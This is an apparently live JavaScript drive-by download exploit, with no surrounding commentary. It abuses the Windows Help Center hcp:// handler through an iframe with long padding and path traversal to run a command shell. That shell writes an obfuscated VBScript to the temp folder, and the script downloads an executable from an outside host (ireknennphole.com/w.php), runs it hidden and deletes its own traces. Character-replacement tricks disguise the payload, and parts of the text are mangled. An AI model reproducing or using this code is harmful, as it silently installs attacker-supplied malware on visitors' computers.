hhcp

 var iframe = "<iframe src=\"&#104;
 cp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<script defer>Run('cmd /c echo FileName ! @&#8470;
 TEMP&#8470;
}
file.exe@>>&#8470;
TEMP&#8470;
}
go.gPs]]echo url!@http://ireknennphole.com/w.php
{
f!26&e!7@ >>&#8470;
TEMP&#8470;
}
go.gPs]]echo Set objHTTP ! CreateObject(@MSXML2.XMLHTTP@)>>&#8470;
TEMP&#8470;
}
go.gPs]]echo Call objHTTP.Open(@GET@, url, False)>>&#8470;
TEMP&#8470;
}
go.gPs]]echo objJOPA>>&#8470;
TEMP&#8470;
}
go.gPs]]echo set oStream ! createobject(@Adodb.Stream@)>>&#8470;
TEMP&#8470;
}
go.gPs]]echo Const adTypeBinary ! 1 >>&#8470;
TEMP&#8470;
}
go.gPs]]echo Const adSaveCreateOverWrite ! 2 >>&#8470;
TEMP&#8470;
}
go.gPs]]echo Const adSaveCreateNotExist ! 1 >>&#8470;
TEMP&#8470;
}
go.gPs]]echo oStream.type ! adTypeBinary >>&#8470;
TEMP&#8470;
}
go.gPs]]echo oStream.open >>&#8470;
TEMP&#8470;
}
go.gPs]]echo oStream.write objHTTP.responseBody>>&#8470;
TEMP&#8470;
}
go.gPs]]echo oStream.savetofile FileName, adSaveCreateNotExist >>&#8470;
TEMP&#8470;
}
go.gPs]]echo oStream.close>>&#8470;
TEMP&#8470;
}
go.gPs]]echo set oStream ! nothing >>&#8470;
TEMP&#8470;
}
go.gPs]]echo Set xml ! Nothing >>&#8470;
TEMP&#8470;
}
go.gPs]]echo Set WshShell ! CreateObject(@WScript.Shell@) >>&#8470;
TEMP&#8470;
}
go.gPs]]echo WshShell.Run FileName, 0, True >>&#8470;
TEMP&#8470;
}
go.gPs]]echo Set FSO ! CreateObject(@Scripting.FileSystemObject@) >>&#8470;
TEMP&#8470;
}
go.gPs]]echo FSO.DeleteFile @&#8470;
TEMP&#8470;
}
go.vbs@ >>&#8470;
TEMP&#8470;
}
go.gPs|cscript &#8470;
TEMP&#8470;
}
go.gPs>nul'.replace(/!/g, String.fromCharCode(61)).replace(/@/g, String.fromCharCode(34)).replace(/]/g, String.fromCharCode(38)).replace(/
{
/g, String.fromCharCode(63)).replace(/JOPA/g, String.fromCharCode(72,84,84,80,46,83,101,110,100)).replace(/gPs/g, String.fromCharCode(118,98,115)).replace(/
}
/g, String.fromCharCode(92)).replace(/&#8470;
/g, String.fromCharCode(37)));
</script>\">";
document.write(iframe);